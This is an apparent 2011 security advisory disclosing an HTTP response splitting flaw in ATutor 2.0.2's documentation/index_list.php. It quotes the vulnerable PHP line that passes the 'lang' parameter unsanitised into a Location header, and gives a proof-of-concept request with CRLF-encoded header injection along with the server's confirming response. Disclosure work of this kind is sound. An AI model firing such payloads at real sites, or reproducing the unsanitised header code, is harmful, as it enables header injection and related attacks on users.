ATutor 2.0.2 (lang) HTTP Response Splitting Vulnerability


Vendor: ATutor (Inclusive Design Institute)
Product web page: http://www.atutor.ca
Affected version: 2.0.2 (build r10589)

Summary: ATutor is an Open Source Web-based Learning Content Management
System (LCMS) designed with accessibility and adaptability in mind.
Educators can quickly assemble, package, and redistribute Web-based
instructional content, easily retrieve and import prepackaged content,
and conduct their courses online.

Desc: Input passed to the 'lang' parameter in '/documentation/index_list.php'
is not properly sanitised before being returned to the user. This can be
exploited to insert arbitrary HTTP headers, which are included in a response
sent to the user.


======================== vulnerable code ========================

/documentation/index_list.php:
------------------------------

1: <?php
2: header('Location: index/index.php?'.$_GET['lang']);
3: exit;
4: ?>

======================= /vulnerable code ========================


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2011-5037
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5037.php


31.07.2011
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 [GET] http://10.0.0.13/documentation/index_list.php?lang=%0d%0a%20ZSL%2dCustom%2dHeader%3alove_injection

 ----

 HTTP/1.1 302 Found
 Date: Sun, 31 Jul 2011 21:08:54 GMT
 Server: Apache/2.2.14 (Win32)
 X-Powered-By: PHP/5.3.1
 Location: index/index.php?
 ZSL-Custom-Header: love_injection
 Content-Length: 0
 Connection: close
 Content-Type: text/html



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